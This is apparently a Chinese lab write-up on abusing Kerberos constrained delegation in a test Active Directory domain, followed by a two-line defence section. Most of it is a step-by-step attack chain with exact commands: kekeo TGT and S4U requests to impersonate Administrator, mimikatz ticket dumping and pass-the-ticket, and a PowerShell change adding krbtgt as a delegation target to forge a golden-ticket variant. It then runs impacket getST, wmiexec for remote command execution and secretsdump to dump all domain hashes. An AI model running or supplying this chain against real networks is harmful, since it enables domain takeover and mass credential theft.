环境
域: test.com
域控:Windows server 2012R2, 主机名: AD, IP: 192.168.1.7
域内主机:系统:windows 2012R2,主机名:HyyMbb,ip:192.168.1.22
被委派用户test
测试用户test1

操作步骤
我们需要提前知道的信息
被委派用户的明文密码或者ntml
密码:123!@#qwe
ntml:e5ae562ddfaa6b446c32764ab1ebf3ed
1、已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的TGT
tgt::ask /user:test /domain:test.com /password:123!@#qwe /ticket:test.kirbi
我们知道NTML也可以生成TGT
tgt::ask /user:test /domain:test.com /NTLM:e5ae562ddfaa6b446c32764ab1ebf3ed
参数:
/user: 服务用户的用户名(即设置的被委派的用户)
/password: 服务用户的明文密码
/domain: 所在域名
/ticket: 指定票据名称,不过这个参数没有生效,可以忽略
得到服务用户TGT:TGT_test@TEST.COM_krbtgt~test.com@TEST.COM.kirbi
2、然后我们可以使用这张TGT通过伪造s4u请求以administrator用户身份请求访问AD(域控) CIFS的ST
tgs::s4u /tgt:TGT_test@TEST.COM_krbtgt~test.com@TEST.COM.kirbi /user:Administrator@test.com /service:cifs/AD.test.com

S4U2Self获取到的ST1以及S4U2Proxy获取到的dm08 CIFS服务的ST2会保存在当前目录下
3、然后我们用mimikatz(kekeo也可以)将ST2导入当前会话即可
kerberos::ptt TGS_Administrator@test.com@TEST.COM_cifs~AD.test.com@TEST.COM.kirbi
成功访问到AD的cifs服务

注:
如果我们不知道服务用户的明文和NTLM Hash,但是我们有了服务用户登陆的主机权限(需要本地管理员权限),我们可以用mimikatz直接从内存中把服务用户的TGT dump出来
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
这样我们就能跳过第一步,直接进行二三步骤就可以了~~
利用约束委派打造变种黄金票据
环境
域: HYYMBB.com
域控:Windows server 2008R2, 主机名: AD, IP: 192.168.1.23
域内主机:系统:windows 2012R2,主机名:win2012,ip:192.168.1.22
被委派用户test
测试用户test1
这个实验我复现的时候在win2012的域控上未成功,据说是2012 及以后的KDC,受限委派的时候用的机制变成了 Resource Based Constrained Delegation
所以这个只能适用于win2008版本之前的(包括win2008)
我们都知道TGT的生成是由krbtgt用户加密和签名的,如果我们能委派域上的用户去访问TGS,那么就可以伪造任意用户的TGT了,黄金票据通常情况下我们是用krbtgt的hash来伪造TGT,不过我们通过约束委派也能达到同样的效果。
krbtgt默认是禁用的而且无法启用,所以我们无法使用界面来添加这个SPN
我们可以使用powershell来添加
Import-Module ActiveDirectory
$user = Get-ADUser test
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/HYYMBB.com") }

这儿多说一句,有的同学发现一些用户属性没有委派的选项,那是因为这时的用户还不是服务账号,我们可以用系统的自带工具setspn来绑定spn
setspn -A test/test 用户名
更详细的用法请自行百度
注:域控默认安装ActiveDirectory,如果没有安装,可以下载dll:下载地址,然后导入就行了:import-module .\Microsoft.ActiveDirectory.Management.dll
我们获得的test用户的信息
密码:123!@#qwe
NTML:e5ae562ddfaa6b446c32764ab1ebf3ed
1、我们可以用impacket系列的getST向KDC请求administrator的TGT
getst.exe -dc-ip 192.168.1.23 -spn krbtgt/HYYMBB.com -impersonate Administrator HYYMBB.com/test:123!@#qwe
参数:
-impersonate:表示伪造用户
-spn:表示我们要委派的服务的spn,这里是TGS
-dc-ip:域控ip
执行之后会在当前目录生成一个缓存文件Administrator.ccache
2、注入ptc(pass the cache)
kerberos::ptc Administrator.ccache

在当前终端退出后就可以访问域控了

3、执行命令
执行命令的话我们可以用impacket系列或者powershell都可以
这儿我们使用impacket中的wmiexec.exe
set KRB5CCNAME=Administrator.ccache
wmiexec.exe -no-pass -k administrator@AD.HYYMBB.com -dc-ip 192.168.1.23

导出域控上所有用户以及主机的hash
set KRB5CCNAME=Administrator.ccache
secretsdump.exe -no-pass -k AD.HYYMBB.com
防御
1、高权限用户没有在特殊要求之下设置为不可委派

为了防止凭据被盗微软推出了Protected Users组,适用于Windows Server 2016,Windows Server 2012 R2、 Windows Server 2012

本文介绍如何在特定环境下,利用已知信息生成服务用户的TGT,进而伪造管理员访问域控CIFS服务的ST,以及如何通过约束委派创建变种黄金票据,实现对域内资源的访问。
626

被折叠的 条评论
为什么被折叠?



